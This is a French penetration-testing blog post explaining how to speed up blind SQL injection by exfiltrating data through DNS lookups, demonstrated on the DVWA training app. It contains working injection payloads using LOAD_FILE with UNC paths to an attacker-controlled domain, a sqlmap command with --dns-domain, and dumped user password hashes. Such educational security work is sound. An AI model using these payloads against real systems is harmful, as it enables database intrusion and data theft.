Accélerer les injections SQL avec l'exfiltration DNS

AmineLe 10 juin 2020

Les injections SQL ou SQLi occupent depuis plus de 10 ans la première place de l'OWASP qui recense les 10 risques de sécurité applicatifs web les plus critiques. Lorsque nous rencontrons cette vulnérabilité durant nos pentests web, nous tentons de l'exploiter au maximum pour inspecter les mots de passe stockés en base de données, lire des fichiers sensibles sur le serveur ou encore exécuter des commandes sur ce dernier.

Il existe plusieurs méthodes d'injection SQL dont l'une des caractéristiques notable est la rapidité d'exploitation.

nuage de mots SQLi

SQL Injections - 0x101

Une injection SQL est l'exploitation d'une faille applicative qui permet, en manipulant un paramètre vulnérable, d'injecter une requête malicieuse dans la requête SQL intialement prévue par l'application.

Prenons par exemple une application web de type blog dont les URLs des articles sont de la forme suivante /article.php?id=42. La requête SQL associée est logiquement :

SELECT title, content, author FROM articles WHERE id = 42;

En supposant que l'application ne filtre pas correctement le paramètre id, il devient possible d'injecter du code SQL avec par exemple /article.php?id=42 AND 1=0 ce qui donne la requête :

SELECT title, content, author FROM articles WHERE id = 42 AND 1=0;

À partir de là, nous construisons progressivment les requêtes SQL qui nous permettront de récupérer les informations des autres tables, la version de la base de données, les privilèges de l'utilisateur courant, etc. Les quatre méthodes d'injections SQL suivantes sont classées par vitesse d'exploitation (du plus rapide au plus lent) :

  • Union Query : le résultat de l’injection est directement affiché dans la page. Il est très facile d'extraire la totalité d'une table en une seule requête.
  • Error-based : l'injection provoque une erreur SQL qui affiche le résultat sur la page.
  • Boolean based (Blind) : le résultat est progressivement récupéré en fonction de la présence ou non d’un motif sur la page (possibilité de multi-threader pour aller plus vite).
  • Time based (Blind) : les données sont contruites en analysant les temps de réponse de la page. Cette méthode est très lente et peut se montrer non fiable en cas de surcharge du serveur ou de problèmes réseau.

Ces méthodes utilisent un canal In-Band, c'est-à-dire que le résultat est disponible sur le même canal de communication, en l'occurrence les pages de l'application web exploitée. Dans les prochains paragraphes, nous allons présenter une technique d'injection différente afin d'exfiltrer les données via DNS.

Exfiltration DNS et injections SQL ?

Théorie : Out-Of-Band, SQLi et DNS

On parle d'exploitation Out-Of-Band lorsque le résulat nous parvient sur un canal différent de celui d'origine. L'exfiltration DNS est une technique Out-Of-Band que nous allons utiliser avec les injections SQL. Le principe est le suivant : faire exécuter des requêtes DNS au serveur ciblé vers un domaine sous notre contrôle. Nous nous servons du sous-domaine pour exfiltrer les données de notre choix et pour y stocker le résulat des injections.

Concrètement, pour récupérer la version de la base de données (mysql-5), il faudrait que nous forcions le serveur cible à effectuer une requête DNS sur :

mysql-5.attacker.com

Nous récupèrerons les données en écoutant les résolutions DNS vers le domaine attacker.com, sous notre contrôle.

Combiner l'UNC et les fonctions SQL d'accès au fichier

Pour exfiltrer les données de nos injections, il est nécessaire de forcer la base de données à effectuer une résolution DNS vers un nom de domaine que nous contrôlons. Il faut pour cela combiner la syntaxe d'UNC et les fonctions SQL qui permettent d'accéder à des fichiers.

L'Universal Naming Convention (UNC) est une convention de nommage qui décrit l'adresse d'une ressource sur le réseau. Concrètement, si un fichier est stocké sur une machine du réseau, on peut utiliser le chemin UNC suivant pour y accéder : \\PC-DUPOND.local\document.txt.

Chaque serveur de base de données met à disposition un certain nombre de fonctions pour accéder (en lecture ou en écriture) à des fichiers ou des ressources sur le réseau. Voici quelques exemples :

Serveur Fonctions
MySQL / MariaDB LOAD_FILE, OUTFILE, DUMPFILE
Microsoft SQL Server xp_dirtree, xp_fileexists, xp_subdirs
PostgreSQL pg_read_file, lo_import
Oracle UTL_INADDR.GET_HOST_ADDRESS, UTL_FILE.FOPEN

La requête SQL suivante sous MYSQL permet d'effectuer une résolution DNS en combinant l'UNC avec une fonction de lecture de fichier :

    SELECT LOAD_FILE('\\\\subdomain.mydomain.com\\dummy.txt');


La pratique

Notre laboratoire de tests

Nous avons mis en place une architecture avec les pré-requis nécessaires pour réaliser une démonstration réaliste d'une injection SQL et son exfiltration DNS.

  • Du côté de l'attaquant

    • Un VPS avec le port 53 (DNS) ouvert sur internet
    • Un nom de domaine dont on contrôle entièrement la configuration : nous indiquons à notre registrataire de nom de domaine que notre VPS sera le serveur DNS qui fournira les résolutions pour notre domaine
  • Du côté de la victime

    • Une instance Azure Windows Serveur 2019 qui héberge le site
    • Les droits d'accès aux fichiers depuis la base de données
    • ... et évidemment une faille SQLi ! Thank you Captain Obvious!

Au lieu de développer un site faillible pour la démonstration, nous avons utilisé l'application web Damn Vulnerable Web App (DVWA). DVWA est un excellent outil pédagogique qui permet de tester et de sensibiliser sur différents types de vulnérbilités comme les failles d'upload, les XSS, ou encore les injections SQL.

Ça donne quoi, docteur ?

L'injection SQL sur l'application DVWA est triviale à exploiter et nous allons l'utiliser pour réaliser notre exfiltration.

GET /dvwa/vulenerabilites/sqli/?id='+UNION+SELECT+load_file(CONCAT('\\\\', (SELECT+user+FROM+users+LIMIT+1), '.algolab.tech\\dummy')),2+--+-&Submit=Submit

Décortiquons la requête ci-dessus:

  • l'objectif de l'injection est d'obtenir le champ login du premier utilisateur grâce à la requête SQL SELECT+user+FROM+users+LIMIT+1
  • comme vu précédemment, l'exfiltration doit se faire en utilisant le sous domaine et l'UNC de type \\<login>.algolab.tech\dummy
  • nous forçons la résolution DNS en utilisant la fonction load_file

Depuis notre VPS, nous avions lancé une écoute sur le port 53 pour voir les requêtes DNS qui arrivent. Après l'injection réalisée plus haut, voici le paquet :

root@algolab:/home/algoloab $ tcpdump -l -i veneot0 -s 0 -A 'dst port 53' | grep 'A?'
10:13:57.342480 IP WW.XX.YY.ZZ.56049 > algolab.tech.domain: 14448 A? admin.algolab.tech (36)

We got a touchdown ! Nous avons reçu une demande de résolution pour le domaine admin.algolab.tech, et donc notre donnée exfiltrée est admin.

incroyable exfiltration dns

Sqlmap, exfiltration DNS en mode script kiddie

Sqlmap est un outil d'exploitation automatisée pour les injections SQL qui est souvent utilisé durant les pentests. Il intègre nativement la fonctionnalité d'exfiltration DNS avec l'option --dns-domain :

Option: --dns-domain

If user is controlling a machine registered as a DNS domain server (e.g. domain attacker.com) he can turn on this attack by using this option (e.g. --dns-domain attacker.com).

Source

Pour pouvoir utiliser cette option, sqlmap doit être lancé avec les droits root car il démarre son propre service DNS sur le port 53. Il prend en charge de nombreuses subtilités et notamment il :

  • gère la limite de taille des sous-domaines à 63 octets en découpant les réponses plus longues (RFC 1035)
  • encode en hexadécimal pour respecter les RFC DNS et les jeux de caractères des bases de données
  • évite la mise en cache et la pollution des résolutions DNS avec l'utilisation de préfixe et suffixe aléatoires
root@algolab:/home/algoloab/ $ sqlmap --url 'http://WW.XX.YY.ZZ/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' --technique=T -T users --dump --dns-domain algolab.tech

        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.4.2.4#dev}
|_ -| . [']     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[15:07:01] [INFO] setting up DNS server instance
[15:07:01] [INFO] testing connection to the target URL

Database: dvwa
Table: users
[5 entries]
+---------+---------------------------------------+---------+----------------------------------+-----------+------------+---------------------+--------------+
| user_id | avatar                                | user    | password                         | last_name | first_name | last_login          | failed_login |
+---------+---------------------------------------+---------+----------------------------------+-----------+------------+---------------------+--------------+
| 1       | /html/dvwa/hackable/users/admin.jpg   | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 | admin     | admin      | 2020-02-12 10:54:08 | 0            |
| 2       | /html/dvwa/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 | Brown     | Gordon     | 2020-02-12 10:54:08 | 0            |
| 3       | /html/dvwa/hackable/users/1337.jpg    | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b | Me        | Hack       | 2020-02-12 10:54:08 | 0            |
| 4       | /html/dvwa/hackable/users/pablo.jpg   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 | Picasso   | Pablo      | 2020-02-12 10:54:08 | 0            |
| 5       | /html/dvwa/hackable/users/smithy.jpg  | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 | Smith     | Bob        | 2020-02-12 10:54:08 | 0            |
+---------+---------------------------------------+---------+----------------------------------+-----------+------------+---------------------+--------------+

Dans les trames DNS qui circulent, nous observons des demandes de résolution telles que kgI.61646D696E.vQL.algotlab.tech. Analysons cette résolution DNS construite par sqlmap :

  • kgI et vQL sont un préfixe et un suffixe générés aléatoirement par sqlmap dans le but d'associer une injection SQL au résultat reçu sur le port 53
  • 61646D696E correspond à la donnée exfiltrée encodée en hexadécimal. 61646D696E est la version encodée du mot admin

C'est bien beau tout ça, mais pourquoi se compliquer la vie ?

Les injections SQL permettent d'accéder au contenu d'une base de données, mais à quelle vitesse ? En utilisant les techniques d'Union Query et d'Error Based, on extrait les données très rapidement. Mais dès qu'on se retrouve à utiliser des injections en aveugle (Boolean ou Time Based), l'extraction prend beaucoup plus de temps et peut retourner des données erronées. Il est alors intéressant d'essayer de comparer la vitesse d'exécution de l'exfiltration DNS aux autres techniques d'injection SQL.

Pour réaliser ce benchmark, nous avons exploité l'application DVWA via l'outil Sqlmap afin d'extraire les données de la table users. Voici les temps réalisés avec chaque technique :

Technique SQLi Temps
Union Query 1.7 sec
Error Based 4.1 sec
Boolean Based (Blind) 1 min 13.8 sec
Time Based (Blind) 33 min 47.7 sec
Exfiltration DNS 5.9 sec

injection sql rapide

Il est indéniable de dire à quel point l'exfiltration DNS est rapide ! S'il fallait trier les techniques d'exploitaiton par vitesse d'exploitation, cela donnerait le classement suivant :

  1. Union Query
  2. Error Based
  3. Exfiltration DNS
  4. Boolean Based
  5. Time Based

Exfiltrate me if you can

Si cette technique est si incroyable que ça, pourquoi n'est-elle pas systématiquement utilisée lorsqu'il n'y a que des injections en aveugle ? Deux obstacles empêchent une utilisation généralisée de cette méthode.

Tout d'abord, cela demande plusieurs pré-requis importants que l'on ne retrouve pas dans tous les cas. Voici un aperçu des conditions d'exfiltration DNS pour quelques bases de données :

Base de données Fonctionne sans privilège sur les fichiers BDD installée sur Windows BDD installée sur Linux
MySQL / MariaDB
MSSQL Non disponible
PostgreSQL
Oracle

On remarque que seules les bases de données Oracle permettent l'exfiltration DNS sous Linux. En effet nous exfiltrons nos injections via l'UNC (qui est disponible sous Windows) et seules les bases de données Oracle l'ont implémenté indépendamment du sytème d'exploitation.

Un autre frein à l'exfiltration des données peut être l'utilisation d'un canal non sécurisé : les résolutions DNS transitent en clair sur le réseau ce qui peut être à la fois bruyant et faire fuiter des informations sensibles. Et si la base de données contient des mots de passe en clair ? ou des informations personnelles comme le numéro de sécurité sociale, numéros de carte bancaires ? Un tiers qui verrait ces requêtes transiter pourrait lui aussi avoir accès à ces informations.

Même si les requêtes DNS ne semblent pas être activement surveillées, dans le doute, Keep It Safe and Secure.

You've enabled "Do Not Track" in your browser, we respect that choice and don't track your visit on our website.